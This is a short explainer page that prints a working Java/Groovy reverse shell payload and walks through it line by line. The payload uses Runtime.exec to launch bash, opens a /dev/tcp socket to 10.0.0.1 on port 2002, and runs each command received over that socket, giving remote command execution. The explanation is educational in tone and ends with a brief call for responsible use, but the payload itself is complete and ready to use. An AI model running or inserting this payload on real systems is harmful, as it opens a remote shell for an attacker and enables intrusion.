Java Reverse Shell Breakdown

Java Reverse Shell Breakdown

r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()

• r = Runtime.getRuntime(): Retrieves the Java Runtime instance, which allows the application to interface with the environment in which the application is running.

 

• p = r.exec([…]): Executes the specified command in a separate process. In this case, it runs a Bash command to create a reverse shell.

 

• • [“/bin/bash”,”-c”,”exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do \$line 2>&5 >&5; done”] as String[]: An array of strings representing the command to be executed. This Bash command does the following:

 

• • • exec 5<>/dev/tcp/10.0.0.1/2002: Opens a connection to the specified IP address (10.0.0.1) and port (2002) and associates file descriptor 5 with the socket.

 

• • • cat <&5 | while read line; do \$line 2>&5 >&5; done: Reads input from the socket file descriptor (5) and writes it to the standard input of the Bash shell. This effectively creates a reverse shell, allowing for command execution on the target system.

 

• p.waitFor(): Waits for the process represented by p to complete. This ensures that the Java program will wait for the reverse shell process to finish before proceeding.

 

 

The provided code assumes access to the /bin/bash shell and the availability of the /dev/tcp feature, which may not be present on all systems. Always use such commands responsibly and inappropriate security contexts.